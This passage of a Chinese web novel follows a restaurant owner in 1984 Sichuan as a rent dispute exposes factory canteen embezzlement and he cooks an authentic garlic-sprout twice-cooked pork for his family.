当然，这事也没实证。 一个管食堂事务，一个管食堂财务，这俩人搅合在一起，在厂食堂那可真是一手遮天。 周砚抢了厂食堂小炒的客人，又把黄福生给弄下台，孙美丽会想方设法弄他不难理解，加租金这手段确实够毒的。 100元一个月，这租金能抵纺织厂普通工人将近三个月工资了。 这可是1984年，一年1200元。 别说是苏稽了，就算是嘉州最好的地段，也要不了这个天价。 孙美丽和王德发就是想赶人，让他因为承担不起房租而不得不关门。 但他们终究还是差了点想象力。 周二娃饭店昨天一天的毛利就够付一个月的租金，100元对他来说，其实并没有那么大压力。 按照目前的生意，最保守估计一年他也能挣两万，1200的租金，真不算什么。 这饭店小周同志前后往里投了近千元，桌椅板凳能搬走，花了大价钱找泥工砌的灶台可搬不走，搬了地又得找人重新砌。 现在饭店上升期，耽搁不起这个时间。 而且饭店怎么可能开哪都一样？ 酒香还怕巷子深。 但凡这铺面往旁边移十米，周砚这会还在为如何打开局面烦恼。 守着嘉州效益最好的国营工厂大门，近三千工资稳定，收入在嘉州第一梯队的工人，就算嘉州市中心的铺子也不见得比这好。 周砚做美食博主，接触过很多餐饮老板，聊到选址的时候，都把这事视为开店前期最重要的工作，要是没有合适的地段，钱拿在手里也不会乱投资。 守着只要味道好，客人自然会找上门想法，把店开在偏僻地方的，要么是餐饮小白，要么是能从线上引流的。 周砚的饭店口碑刚刚起势，还需要一段时间的稳定输出才能深入人心。 如果没能做到让客人觉得无可替代，那多走一百米路都会成为客人放弃的理由。 这店铺，周砚是一定要守住的。 但他不接受房租这种涨法，得找林志强要个公道。 纺织厂外人是不能随意进出的，小吴帮他通报后没多久，林志强就出来了。 “小周，小吴说你有急事找我？”林志强早上巡了车间，这会正好没什么事。 “林叔……”周砚把情况简单和林志强说了一遍。 “临时涨租金？而且还要补这个月的？”林志强皱眉：“你这铺子位置虽然好，但也要不到100元，财务那边的同志这样做，太过儿戏，肯定是不对的！” “要是厂里统一涨租金，一视同仁，其他商户同意，那我肯定也配合。”周砚正色道：“但我觉得这是刻意针对，是对个体商户的打击，我不服气。” 林志强点头：“好，我去找一趟厂长，财务部毕竟不归我管，这事我不好直接插手。” 周砚又道：“对了林叔，财务部有个叫王薇的会计，因为拒绝给我加租金，被孙美丽打击报复，要被调去守仓库和搬货，您看……” “王薇？”林志强闻言笑了笑，摆手道：“她你不用担心，孙美丽可没那个本事把她调去守仓库。” 说完，他转身往厂里走去。 “啊？”周砚愣了一下，这话是什么意思？ …… 厂长办公室门外。 林志强敲了敲门。 “进来。”王宏亮的声音响起。 林志强推门走了进去，王宏亮坐在办公桌后，一个短发的姑娘站在一旁，眼眶微微泛红，像是刚哭过。 “志强啊，你找我有事？”王宏亮看着林志强问道。 “厂长，我是为小周来的。”林志强点头道。 “小周，周砚？”王宏亮闻言笑了，“今天怎么一个两个都为周砚来的，你也是因为他的饭店被加租金的事情来的？” 一旁的王薇闻言也是有些惊讶地看着林志强。 “坐吧，坐下慢慢谈。”王宏亮招呼道。 林志强走到桌边坐下，笑着道：“看来王薇已经和你说过了，这个情况，我觉得有些蹊跷，临时增加租金，而且还是如此大的幅度。” “看吧，林副厂长和我想的一样，大爷，孙美丽就是故意找茬，想要让周砚的饭店开不下去！”王薇跟着说道。 “好好好，我知道了，看你急的，不知道的还以为被找茬的是你家店呢。”王宏亮笑着说道，起身把桌上那杯水递给王薇。 林志强闻言，看了眼王薇，心头多了几分警惕。 “谢谢大爷。”王薇接过水喝了一口，平息了一下情绪：“我觉得世上要有公道，周砚好不容易把店盘活了，靠着厨艺得到了大家的认可，饭店生意慢慢好起来了。” “赵嬢嬢那么好一个人，陪着周砚开店，忙里忙外，一天下来嗓子都喊哑了，但对客人永远保持笑容。” “为啥子会有人觉得他们挣得多，非要整他们呢？他们前三个月是亏本在做买卖的。” “要说国家资产流失，我觉得厂食堂的账目才是乱七八糟，厂里一年拨那么多款补贴厂食堂，就是为了让工人们吃得好，吃的安心。” “现在工人们怨声载道，天天骂食堂，您就是应该派人好好调查一下！” 王宏亮闻言微微点头，陷入了思考。 林志强看着一脸倔强的王薇，倒是有了几分敬佩。 这小姑娘，没想到还是个热血青年，眼里容不得不公与不平。 “你说食堂账目的问题，你可有证据？”王宏亮看着她问道。 “有！”王薇拉开自己的背着的布包，从里边翻出了一本红色笔记本，“这是我今年以来抄录的所有我认为有问题的账目，很多账是对不上的，到月底孙美丽会想办法平账，每个月都如此。” “食堂的供应商也有问题，菜价比供销社那边的每日菜价要贵两成左右，而且我之前去财务部报账的时候，他们让我和供销社那边对过账，账目也是有问题的。” “厂长，今天我实名举报，孙美丽做假账。本来我还想再收集一段时间证据，去做更深入的调查，但今天我必须要举报了。” 王宏亮表情变得郑重，起身双手接过笔记本，翻开查看起来。 林志强也跟着凑过来看了一会。 王薇是会计专业毕业的中专生，日期、问题，一项项标注出来，做的非常有条理，一目了然。 “王薇同志，你做得很好。”王宏亮冲着王薇表情严肃道：“这件事的性质非常严重，我马上让保卫科的同志去把食堂的账目控制下来，相关人员控制起来做调查，绝对一查到底。” 这件事的性质，已经不是周二娃饭店100元租金的事了。 林志强没有说话，但他知道孙美丽马上要倒霉了。 或者说，不止是孙美丽，还有其他人可能也会跟着一起倒霉。 …… 孙美丽还在给通知签字盖章，吴莉莉一脸狗腿的站在一旁。 就在这时，保卫科的干事在罗卫东的带领下鱼贯而入。 “罗科长，你们这是……”孙美丽有些疑惑地看着罗卫东。 “孙美丽，有人实名举报你做假账，贪污腐败，侵占食堂补贴，现在请你跟我们回保卫科接受调查。”罗卫东打断了她的话。 “谁……谁举报的！胡说八道，我怎么可能做这种事情……”孙美丽脸色大变，争辩道。 罗卫东挥手让干事把孙美丽带走，让他们把办公室的账本封存带回去。 吴莉莉被吓得瑟瑟发抖，站在桌边不敢动弹。 罗卫东扫了眼桌上的通知，眉头微皱，看向吴莉莉，吩咐道：“把她也带回去问话。” 一摞摞账目从孙美丽的办公室被搬走。 食堂财务办公室剩下的两个小会计看着这一幕，有点害怕。 “别怕，这事跟咱们没关系。”王薇回来了，笑着安慰两人。 刚刚看着孙美丽被架走的时候，她可太爽了！ 食堂财务办公室挨着厂食堂，人被带走的时候，厂食堂的厨师们都出来看热闹。 消息传到了王德发那里，顿时瘫坐在椅子上，脸色惨白，六神无主。 保卫科抓走孙美丽。 而且还查账！ 那必然是掌握了他们吃回扣的证据。 这可怎么办！这可怎么是好？ 不过是给周砚加100元租金，事情怎么就变成这个样子了？ 笃笃。 办公室门被敲响。 王德发心头一惊，抬头便看到罗卫东和两名保卫科干事走了进来。 “王主任，有件事情需要你配合调查，请你跟我去一趟保卫科吧。”罗卫东看着他说道。 “什……什么事啊？”王德发起身，尽量平静道。 “是关于厂食堂账目的事情，你作为食堂主任，应该更了解情况，请你配合我们的工作。”罗卫东说道，态度还算客气。 “好，我跟你们去。” 王德发点头，跟着出门，步履有些沉重。 到底是谁举报的？ 他现在只能寄希望于孙美丽能管住嘴。 …… 孙美丽和王德发都被带走了，消息很快在纺织厂传疯了。 关于两人的一些瓜，也是随之传开，传的有板有眼。 缫丝车间副主任徐瑞蹲在围墙边的花坛旁抽烟，一根接着一根，脚边丢了一地烟头。 “老徐，算了，日子还得过不是。”赵东拍了拍他的肩膀安慰道 徐瑞抬头，眼里全是血丝，有些苦涩的笑了笑：“三个娃呢，不算还能怎么办。” 赵东陪了他一根红梅，到了嘴边的话终究没说出口，娃是不是他的还不知道呢。 这家啊，肯定是散了。 …… 周砚没等来吴莉莉的通知，等来了保卫科干事小吴，跟他说了孙美丽被抓，王德发被叫去配合调查的事情。 (｀Д)!! “啊？一百块钱，闹这么一大出戏？” 周砚听完都震惊了。 他也没敢想把孙美丽和王德发送去吃牢饭啊！ 林叔可真是他亲叔啊！ 他有事，他是真上心。 周砚觉得，今晚很有必要给夏瑶写一封信，哪怕是因为他们亲爱的姨父。 赵嬢嬢听完也是有些吃惊，同样没想到一百块钱的事，能把两个主任抓起来。 中午下班时间到了，来吃饭的工人们都在议论这件事。 纺织厂女工占八成，本就爱吃瓜。 多方位印证了这个消息的真实性。 瓜太大，瓜田里的每个猹都吃的可开心了。 周砚心情有点微妙。 小周同志立下的宏愿，可能达不成了。 厂食堂没垮，但王德发要垮台了。 微微的有点爽，有点开心。 有人传出这个事件的导火索就是周砚，起因是周二娃饭店被加的100元租金。 因为这，不少吃瓜群众特意来饭店吃饭，吃第一线的瓜。 火爆的生意，一直持续到上班铃响起才结束。 “这些女人，好疯狂！”周杰往长凳上一躺，长舒了一口气。 周砚甩了甩发酸的手，端起一旁的搪瓷杯吨吨吨喝了几大口凉茶，今天中午锅铲都挥出火星了。 【叮！支线任务：跷脚牛肉传承完成。周杰，学习进度：3/3】 【获得奖励：川菜第一菜——回锅肉】 系统突然弹出了两道提示。 …… 四千字大章节。 连夜把第二章写了，免得大家看的不爽。 其实轻语在反派的处理上已经是非常迅速且没有过度拉扯了，都是往轻松搞笑的方向去写的。 人设需要在冲突中立起来，一直的日常会让人物过度扁平化，剧情平而无趣。 我是能理解大家对这类剧情的反感的，所以做的都算是反套路化的剧情。 接下来会主写美食线，笔墨往美食与食客之间的温馨碰撞方向走。 回锅肉，川菜第一菜出了！ 就酱！   (本章完) 第60章 蒜苗回锅肉 回锅肉！ 周砚眼睛一亮。 回锅肉绝对称得上川菜代表，也是四川家常菜的代表，有着“川菜第一菜”之称。 这道菜在川菜馆的存在感太强了，和麻婆豆腐、宫保鸡丁并称川菜三雄。 他以前做过国家级非遗川菜烹饪技艺系列视频，回锅肉位列其中，江湖地位毋庸置疑。 在四川，几乎家家都会做，大家都爱吃。 开水白菜名声在外，但周砚从未在路边川菜馆见过这道菜，也没见谁家做这道菜，属于高端宴席菜品。 在他们家，赵嬢嬢一直牢牢把控着回锅肉烹饪优先权。 没办法，这是实力决定的。 不过，从今天开始，这个宝座即将迎来它的新王——周砚！ 来饭店吃饭的客人，不止一个问过为啥不上回锅肉，他的回答总是支支吾吾。 毕竟开川菜馆的，要说自己不会炒回锅肉多丢人啊？ 从明天开始，他就能挺直腰杆告诉所有人，他也会炒回锅肉！ 周砚可太爱回锅肉了！ 蒜苗回锅肉属于传统做法，衍生出来的盐菜回锅肉别具风味，青椒回锅肉下饭神菜。 不知道这菜谱里边是哪一道，还是一个大礼包？ “你们先歇会，我去买一块二刀肉回来，今天中午咱们换个口味，吃回锅肉庆祝一下！”周砚把搪瓷缸往柜台上一放，解了围裙，推着自行车就出门去了。 “回锅肉好啊，好久没吃回锅肉了。”周杰砸吧着嘴，说起来已然口舌生津，就馋那一口荤香，和天天吃的牛杂真不一样。 他们家掌管回锅肉的神是他，但每天摆摊实在太忙了，很少有空能做一顿回锅肉。 “看来今天下午我还要下厨哦。”赵嬢嬢笑了笑道。 周砚推着自行车到河堤，没有急着上车，而是先在脑海里点开菜谱。 一股信息涌入他的脑海，一分钟后，目光恢复清明。 【蒜苗回锅肉：回锅肉老祖！】 从食材的选择，到能炒出灯盏窝的刀工详解，再到火候的精确掌握，调味的完美把控，一并进入他的脑子里。 这一次，周砚看到了一些不同的画面。 一个须发皆白的老师傅，似乎在孜孜不倦的教他如何烹饪，而脑海里的那个‘他’，则像是被关在了一个封闭的小黑屋里，不断开始——失败——开始的无限循环。 周砚晃了晃脑子，把那声：“厨爷我成了！” 从脑子里晃走。 果然是最基础款的蒜苗回锅肉，只是想到一会要怎么做这道菜，他就已经忍不住吞了吞口水。 香啊！ 周砚骑着车把苏稽镇上的刀儿匠摊摊都问了一遍，几乎要放弃的时候，才找到了一块二刀肉。 做回锅肉，必用二刀肉。 所谓二刀肉，就是割掉尾巴后，靠近后腿的那块肉，因第二刀而得名。 “你娃娃运气好，这块二刀肉本来是给我亲家留的，他今天上嘉州去了，所以才又挂出来，两块钱一斤。”刀儿匠是个老头，笑着说道。 【一块优质的土猪二刀肉】 “要得，拿下。”周砚没有讲价，直接拿下。 这块二刀肉的品质是真不错。 肥四瘦六，而且还是正宗土猪肉，至少养了一年才出栏。 为什么八零后、九零后记忆中的猪肉那么好吃？ 这可不仅仅是童年滤镜。 这年代的猪吃的是猪草和糠皮，得养足一年才出栏，和喂猪饲料快速育肥的速成猪就不是一种东西。 肉的口感、味道，有着非常明显的区别。 上称一斤二两，两块四毛钱。 “大爷，这猪你自家养的？”周砚把钱递过去，随口问道。 “刀儿匠天天杀猪，家里哪有那么多猪好杀，都是我们周边几个村农户自家养的猪。”老头一边点钱一边笑道：“都是吃的猪草，肉香得很。” “我是纺织厂门口开饭店的，我要是每天在你这里买五斤二刀肉，你一斤能给我优惠好多钱？”周砚问道。 “每天五斤？”老头手一顿，看着他道：“那你生意也没得好烫嘛。” 周砚：“……” 大爷也是老阴阳师了。 “一块九嘛，那么好的二刀肉，我天天都不愁卖，但你要是每天稳定要，那我就给你便宜一毛钱。”老头说道。 “一块八一斤，过段时间说不定还要找你买肘子、排骨、腰子那些呢。”周砚笑着道：“你去打听打听，周二娃饭店，现在可是纺织厂周边口碑最好，生意最好的饭店。” “一块八……”老头子琢磨了一会，点头道：“要得，那你怎么称呼呢？” “周砚。” “我叫徐老二，明天我把肉给你留到，还是在这里，你过来取。” “猪肉要好我才要，像今天这块就差不多。”周砚叮嘱道，提着肉回去了。 章老三是靠谱的猪肉供应商，但现在的刀儿匠一般只卖一扇猪肉，二刀肉也就能出五六斤的样子。 一份回锅肉要用半斤二刀肉，章老三就算天天把二刀肉给他留着，那也只够十一二份的量。 回锅肉周砚准备定价一块六，跟红烧排骨一个价，因为他们的成本比较接近，超过一块了，一份他就挣个五毛，非常有良心。 但回锅肉和红烧排骨不同，这是畅销菜，这年代，谁不喜欢这种一口下去，满嘴流油的感觉？ 哪怕一块六一份，周砚预计卖的也不会差。 所以他找徐老二预定五斤二刀肉，先前找章老三也预定了五斤，明天备二十份回锅肉，大干一场。 如果和徐老二的合作愉快，等于是增加了一个关键猪肉供应商，要是章老三没杀猪的时候，不至于着急忙慌找不到代替的。 路上周砚买了一把青蒜苗，蒜苗价格就便宜了，一毛二一斤，一毛钱就有一把，够炒几份回锅肉的。 路过供销社的时候，进去买了一罐甜面酱。 “买块肉，跑半个钟头，去嘉州买回来的吗？”周砚推着自行车进饭店，周杰笑道。 “这一块二刀肉，把苏稽的刀儿匠都问了一遍才找到的，巴适得很。”周砚把车停好，摘下挂在车把手上的那块肉，有些得意的显摆。 “没有二刀肉就用五花肉嘛，还不是一样的。”周杰有些不解。 “就是，五花肉炒出来也多香嘛。”赵嬢嬢也跟着说道，伸手就要去接周砚手头的肉，“我去炒，这是我的拿手好菜。” “我的水平也是相当可以的，要么今天让你们尝尝我炒的回锅肉。”周杰跃跃欲试。 “用五花肉根本就不正宗，你们从选肉这一步就错咯。”周砚把肉往回一收，笑着走向厨房：“今天这顿回锅肉，我来做给你们吃，让你们尝尝啥子叫做正宗的蒜苗回锅肉。” (本章完) 第61章 这也太香了！！ “五花肉怎么就错了呢？不都是半肥瘦的肉吗？”周杰跟着进厨房，虚心求教。 现在周砚在他心里，已经是川菜大师了。 赵嬢嬢不甘人后，也跟着进厨房，回锅肉是她最拿手的好菜，是她在老周家掌控厨房的依仗。 周砚这小子要夺权，她……得先尝过了才会决定要不要给他。 “二刀肉的皮和瘦肉之间是肥肉，下锅煮二十分钟即可捞出备用，吃起来嫩中带脆。而五花肉的肉皮与瘦肉之间筋筋吊吊的部分，要煮很久才能软烂，不然吃起来绵扯扯的，适合做红烧肉和扣肉。”周砚笑着给两人解释道。 “还有这种讲究啊？” 赵嬢嬢和周杰皆是若有所思，他们平时要做回锅肉，到肉摊上有啥肉买啥肉，五花肉没有就买猪头肉，反正回锅炒一炒也好吃。 “杰哥，烧火。”周砚招呼周杰打下手。 “要得！”周杰自觉转到灶后边，往灶里塞一把捆好的稻草，拉了两下风箱，残留的几颗炭火立马将稻草引燃。 周砚舀了两瓢冷水下锅，锅里丢一块拍扁的生姜，几段葱，然后把清洗好的二刀肉切成三指宽，六厘米长，下入锅中。 “肉切三指宽就够了，太厚了不容易煮熟，锅里加葱姜，冷水下肉，煮出血水和浮沫，及时打掉，肉基本就没有血腥味。”周砚边做边给两人讲解。 肉在锅里煮着，周砚顺道把其他食材给备了。 店里备的豆瓣是郫县豆瓣，按年份分新老，老豆瓣发酵时间长，酱香浓郁，但色泽要更深一些，拿来炒回锅肉会发黑，颜色不太好看。 所以用的是新豆瓣，捞出来剁细，回锅肉上色全靠它。 “你还专门去买甜面酱啊？用白糖不行吗？”赵嬢嬢看着周砚手边打开的甜面酱，好奇道。 “甜面酱能够起到解油，解腻，增香的功效，白糖虽然也能提鲜，但加多了反倒腻人。”周砚解释道。 蒜苗洗净，拿刀先把肥大的头子轻轻拍破，切斜刀，两头尖，蒜苗的味道能够最大限度释放，蒜苗白和蒜苗叶分开。 二刀肉煮了约摸二十分钟，拿筷子一下能戳进瘦肉，就差不多有六七分熟了，捞出切片。 “切肉这一步非常重要，你们看着，要把肉切成两毫米厚，就跟铜钱差不多，太厚炒不入味很肥腻，太薄一下锅就卷起，肥肉爆成油渣，嚼都嚼不动。”周砚捏起一片肉，“肉的中间还有夹生，这样的状态是最好的。” 赵嬢嬢和周杰把手揣在前边，认真听，认真看，俨然像是两个小学徒。 也不知道为啥，平时炒个回锅肉哐哐几下就出锅，下饭就是香，但到周砚嘴里这么一转，这菜好像一下子讲究起来了。 一斤二的肉，周砚没有一锅炒完，留了四两装碗里等晚上再炒，更新鲜美味。 “火力增一点，但不要猛火，先下入菜籽油，倒入肉片中小火爆一下，你看，一下子就收缩了，变成了一个标准的灯盏窝。”周砚翻炒着卷曲起来的肉片，刨到边上，切细的豆瓣酱用锅底的油先炒熟、炒香，然后将肉一起翻炒。 原本白色的肉片，顿时染上了红亮的色泽。 加一勺甜面酱翻炒出香味，下入蒜苗头子翻炒，最后下入蒜苗叶子，翻炒几下后直接出锅装盘。 红亮的肉片卷曲成灯盏窝泛着油润的光，白色的蒜苗茎，绿色的蒜苗叶，融成了一盘完美的蒜苗回锅。 回锅肉的浓香夹带着蒜苗的香气，随着热气扑鼻而来。 “咕噜。” 赵嬢嬢和周杰同时吞了吞口水。 “好香香啊！我也想康康！” 周沫沫也闻着味跑来了，凑到灶台前，踮起脚尖想要瞅一瞅。 她太小了，踮起脚尖还不到灶台高，瞧不见盘子里装的什么，可把她急坏了。 “看嘛，你哥哥做的蒜苗回锅肉，今天中午我们吃肉肉。”赵铁英把她捞了起来，笑着说道。 “哇哦，看起来好好吃啊，锅锅好腻害！”周沫沫拍着小手，已经忍不住咽口水了。 “走嘛，端出去，干饭！”周砚端起这盘分量不少的回锅肉出了厨房。 赵红和周杰把米饭和碗端了出来，一人分双筷子。 除了回锅肉，还打了两碗跷脚牛肉，煮了一碗莲花白当素菜。 不过，今天中午的主角，必然是放在桌子正中央的这盘蒜苗回锅肉。 卖相极佳，香味扑鼻，和他们平时做的回锅肉，是有些不太一样。 “别光看，动筷啊。”周砚笑道。 “我先来尝看。”赵嬢嬢拿起筷子，先夹起一块回锅肉，里边还包着一截蒜苗，拈起来摇摇晃晃，弹性十足，泛着油光，一闪一闪的。 一入口，皮子香糯，肥肉入口即化，瘦肉一点不柴，嚼起来还有点弹牙，一口下去，肥而不油，香而不腻。 夹在中间的蒜苗一并咬开，特殊的清香与回锅肉融合在一起，味道简直不摆了！ 赵嬢嬢举着空筷子回味了一会，唇齿留香，回味无穷。 “好吃，以后家里的回锅肉，就交给你来做了。”赵嬢嬢看着周砚说道，欣慰中带着一丝惆怅。 这可是她掌勺了二十年的拿手好菜，却要在今天交出掌勺权。 但夺勺的是周砚，而且拿出了这样一道美味的蒜苗回锅肉，她不服也不行啊。 甚至……还有点想学。 这比坝坝宴上的乡厨做的还要好吃，乡厨用的都是五花肉，口感确实不如周砚用二刀肉做出来的好。 “四嬢这就服了？我来试试。”周杰夹了一块回锅肉喂到嘴里，表情先是震惊，再到迷醉，最后变成了惊叹。 这回锅肉也太香了吧！ 他实在想不出多余的词汇来形容，肉软糯中带点弹牙，蒜苗怎么会炒的那么香？ 咸香中带着些许微微的回甜，复合的滋味让人迷醉，也让人想要扒拉米饭。 周杰端起碗，狠狠的扒拉了两口米饭，喷香的甄子饭搭配回锅肉，可太美了。 “周砚，以后咱们家聚餐，回锅肉必须你来做，奶奶要来都不行！”周杰看着周砚，一脸认真。 他愿称之为最美味的回锅肉！ 没有之一。 “这话，下次要你跟奶奶说哈。”周砚笑道。 “肉肉好好吃，我要吃三碗饭饭！”周沫沫也已经吃上了，腮帮子嚼着肉鼓鼓的，小脑袋还跟着一晃一晃，吃的可香了。 她太小了，还不知道该怎么形容好吃。 但肉肉很香，比妈妈做的好吃，没那么辣辣。 周淼和赵红吃了，也是连连称赞，都说是他们吃过最好吃的回锅肉。 周砚最后才动筷，夹了一块回锅肉，卷起一根蒜苗，这是最正确的吃法。 一口下去，他的眼睛微微眯起，细细的去体会肉在唇齿间的微妙变化，这种感觉非常有趣，像是在复盘。 二刀肉的绝妙口感，精准的刀工，恰到好处的火候，完美的调料，最终烹饪出这一盘口感绝妙，风味独特的蒜苗回锅肉。 他做到了！ 完美蒜苗回锅肉，成了！ 一口气更两张，连着看更舒服~~~ 求月票和追读，要是明天月票破2000，再加一更！   (本章完) 第62章 祝你粑粑永远畅通！（求追读！） 一盘回锅肉，连蒜苗叶都被吃的精光，最后盘子里只剩下一汪红亮的油。 “好吃，爱吃，下次肉我买，你来炒，多炒点，我还能多下一碗饭。”周杰意犹未尽，已经开始预约下一次。 “这蒜苗回锅肉确实巴适得板，要上菜单吗？”赵嬢嬢看着周砚问道，她现在已经完全接受掌勺权被夺的结果，开始想着让客人也吃上美味回锅肉的事。 同样一份回锅肉，周砚做出来的实在好吃，不是家常风味能比的。 材料大差不差，区别就在火候和调味上。 不光好吃，还特别下饭，这菜客人肯定喜欢。 “明天就上，我已经和刀儿匠打了招呼，让他们把二刀肉给我留着。”周砚笑着应道，顺手把周沫沫嘴角的两颗米饭给揪了。 “锅锅，晚上还吃回锅肉嘛。”周沫沫眼巴巴望着他，嘴里蹦出一个字：“香！” “要得，晚上还剩了四两肉，还能炒一盘儿。”周砚笑着点头。 “锅锅你太好了，我永远爱你！祝你长命百岁！”周沫沫凑过来，拿脑袋蹭了蹭周砚的手，像只温顺的小羊。 “沫沫，我呢？我呢？”周杰笑眯眯道。 “杰锅锅……”周沫沫歪头想了想，“祝你粑粑永远通畅！” “啊？”周杰挠头，“倒也是个美好的祝福。” 对于大部分成年人来说，这个祝福和长命百岁一样让人欣慰。 吃过饭，周杰和周砚坐在门口的树下，他开口道：“周砚，你这个跷脚牛肉我学的差不多了，我要按你这方法做的话，价格也定六毛钱一碗嘛。” “你在码头做，要是卖六毛钱一碗，一天怕是卖不出去二十碗，那挣得比你们以前还少。”周砚摇头。 周杰有点急了：“那我也不可能卖的比你便宜撒？我要是卖的比你便宜，不就是故意抵到你做生意了。” 周砚笑着道：“这件事我其实也考虑过，要不你就做个价格梯度，不加牛肉的跷脚牛肉卖五毛钱，价格比你之前提了一毛，但味道有显著提升，里边又加了中药，成本上浮，客人更容易接受。 加牛肉的卖六毛，一毛钱四片牛肉，咱一分钱不挣他。懂吃的客人只要吃上两回，肯定都会选六毛加牛肉的，但那些价格敏感的客人，也有五毛的选择。” 周杰听完认真琢磨了一会，拍手道：“这方法好！周砚，还是你脑壳灵光！” “走嘛，我们现在去一趟嘉州买香料和中药，刚好吃饱饭消消食。”周砚起身去推车。 “苏稽也有中药店，为啥子要去嘉州呢？”周杰疑惑。 “要是我们的跷脚牛肉卖的起价，又卖的好，不出三天就会有人想学我们的配方。有心人去中药店一问，就晓得我们用了哪些东西，调整用量就能弄的大差不差。一锅汤而已，能有好大的技术含量。”周砚笑着解释道：“我们去嘉州，两个人分两个药房买，够他们琢磨很长一段时间了，到时候你也已经把口碑做起。” “懂了。”周杰点头。 “其实就算他们大概晓得用那些香料和中药也没事，同一道菜到最后都是靠细节脱颖而出，客人精得很，吃一次晓得哪家更好吃。 你的汤锅能在码头上脱颖而出，靠的就是对汤味的把控，所以周村没一个卖的过你。” 周杰听得连连点头，感慨道：“你说的太有道理了。” “要不你把招牌也改一下，统一叫周记跷脚牛肉，以后说不定我们能把这个生意做大做强，等到千禧年以后，也算几十年的老品牌。”周砚提议道。 “品牌我不懂，但你肯把招牌给我用，我肯定愿意。”周杰咧嘴笑道：“这样，我也不白用你的，跷脚牛肉是从你这里学的，以后我们这个摊摊赚的钱，我做主给你分两成。” “这个钱我不要你的，你一个摊摊能赚好多钱？这钱你还要跟海子哥分，两个家庭开销指着这点收入。” “但是……” “要是以后你们要去嘉州，或者蓉城开店，你再跟我说分我股份的事。”周砚笑着打断他的话，“不过，那时候我还是会出资入股，当个甩手老板等年底分红。” “要得。”周杰见他态度坚决，也就没有再坚持，“我们把做生意的门道摸清了，就去找门市干，到时候我们兄弟合股，做大做强！” 两人骑着车往嘉州走，一路闲聊。 周砚其实挺看好周杰的，他做事踏实，人情世故练达，能在码头一众汤锅摊位中杀出来，积累出一批稳定客户，足以证明他的能力。 他欠缺的是一点眼界，和对未来方向的把握。 跷脚牛肉这道菜是能撑起一家饭店的，后世更是成了嘉州的名片之一，与甜皮鸭、钵钵鸡、麻辣烫等齐名。 周砚不满足于专注开一家跷脚牛肉店，但可以让周杰去做这件事，到时候他投资、给建议，经营交给周杰来管，年底拿分红即可。 等嘉州旅游业发展起来，老字号的跷脚牛肉，一年能挣不少。 这是他目前能够想到的资源最大化利用，帮助身边信得过的人成长，让他们过得更好，顺便从他们的成长中获得超额回报。 从嘉州回来，周砚把香料和中药分了，周杰提着东西回去，为明天的营业升级做准备。 今天这瓜太有爆炸性，通过一场场龙门阵，把周二娃饭店的名声彻底打响，晚上就有不少闻名而来的客人直奔周二娃饭店。 赵东拿了个饭盒来，要打包一份红烧排骨，说要拿回去给两个孩子和和老娘尝尝。 在门口等菜的功夫，他嘴上就没停过： “尝尝呗，这家的菜，厂长吃了都说好。” “老钱啊，吃碗跷脚牛肉再回去，保管明天你媳妇给你端洗脚水。” “哪个菜好吃？那还真没差的！要下饭菜，点藿香鲫鱼和双椒碎花牛肉；喜欢吃烧菜的，牛肉烧笋干一绝；家里有小孩嘴馋的，点个红烧排骨……” “厂食堂？不换主厨，狗都不吃！” 工人：“……” 你清高！ 那他们天天吃厂食堂的算什么？ 不过经赵东这么一吆喝，还真有不少临时决定进店吃饭的。 赵东喜笑颜开，今天孙美丽和王德发被带走，可把他乐坏了，有种大仇得报的爽感。 作为导火索的周砚，已经成了他的朋友，给朋友的饭店吆喝几声，那是应该的。 当然，老徐是有点惨，不知道明天还来上班不。 今天他提了一嘴，要是心情实在不好，明天准他一天假。 这事搁谁头上，心情都不可能好。 周砚听进来送饭盒的赵红说了赵东帮忙吆喝的事，装排骨的时候给这位热心的带货达人多装了几块。 刚过六点，墙上的菜单就剩下红烧排骨和藿香鲫鱼，其他菜都进入估清区。 今天的鲫鱼，周砚要了八十条，就算剩几条放水缸里养一晚也不成问题。 红烧排骨今天备了二十份，还剩了六份，这菜挑人，女工和孩子比较喜欢，但价格又贵了点，还不下饭，所以点的人还是要少一些。 不过这会客流高峰期已经过去，厂里的工人该回家吃饭的都回去了，零散几个客人，看到只剩下这两道大菜，都有点犹豫。 这时，两个穿着黑色中山装的男人闲聊着进门来，后边还跟着两个小男孩。 “厂长，副厂长，你们来了。”赵嬢嬢瞧见连忙招呼道。 “对，赵姐，我跟厂长还有两个孩子吃个便饭。”林志强笑着应道。 “赵嬢嬢。”林景行和林秉文礼貌打招呼，不过眼睛已经开始往店里瞅。 “小锅锅！”周沫沫坐在高板凳上冲他们挥了挥小手。 “沫沫妹！” 俩人立马跑了过来，一个摸糖，一个掏橘子，可大方了。 “谢谢小锅锅。”周沫沫捧着接过糖和橘子，又转身从柜子里拿出一包叮叮糖，挑了两块最大的递给两人：“呐，吃叮叮糖。” “谢谢。” 两个小男孩接过糖，立马塞嘴里。 “好甜！” “沫沫妹的叮叮糖，好好吃！” 两人吃着糖，还不忘夸夸。 林志强看着两个儿子围着小姑娘，脸上也是有着笑意。 他也没想到，到了三十八岁，还能被两个儿子催着要三胎。 不说现在政策不允许，要是再生个儿子可怎么办？ 香香软软的小姑娘他当然喜欢，当初孟安荷怀二胎的时候，他俩做梦都想要女儿。 现在他们夫妻三天两头出差，孟安荷比他还忙，这俩儿子都是半放养状态。 孟安荷今早上蓉城去了，早上送他俩上学的时候，他们就嚷着要来周砚的饭店吃饭。 周砚做的红烧排骨，他们念念不忘，这点倒是和他们表姐一样。 这俩小家伙侦查意识很强，昨晚回家还掰开他嘴巴闻闻他在外面有没有背着他们偷吃，再三警告他不许出来吃独食。 他们的妈妈已经把钱给了，林志强自然不能不带。 刚好厂长因为食堂查账的时间也下班晚了一个小时，他就邀请厂长一起吃个便饭。 要放往常，王宏亮肯定会拒绝。 但听到说去周砚店里吃，他二话不说就答应了。 两人找了张空桌坐下，看着墙上的菜单，皆是眉头一皱。 “就剩两个菜了？” 王宏亮本来还想再尝尝牛肉烧笋干，笋干太香了，今天上班都挂念着呢。 周砚闻声从厨房出来，笑着解释道：“厂长，林叔，今天来吃饭的工人比较多，这个点菜卖的差不多了，就剩下几份红烧排骨和几条鲫鱼。” 王宏亮看着周砚笑道：“藿香鲫鱼和红烧排骨是好菜，要不你再给我们简单炒个素菜？” “对，小周，我们要个藿香鲫鱼，要一份红烧排骨，再加个素菜吧。”林志强也点头，虽是顿便饭，但四个人两个菜确实不够吃的。 两个半大孩子，一盘排骨还不够他们啃的。 “后厨还有一块二刀肉，要不我给你们炒一份蒜苗回锅肉？这道菜我打算明天上菜单开卖。”周砚猜到了两人的想法，笑着道：“就是肉不多，只有三两多点，请两位品尝点评一二。” 王宏亮眼睛一亮，明显来了兴致。 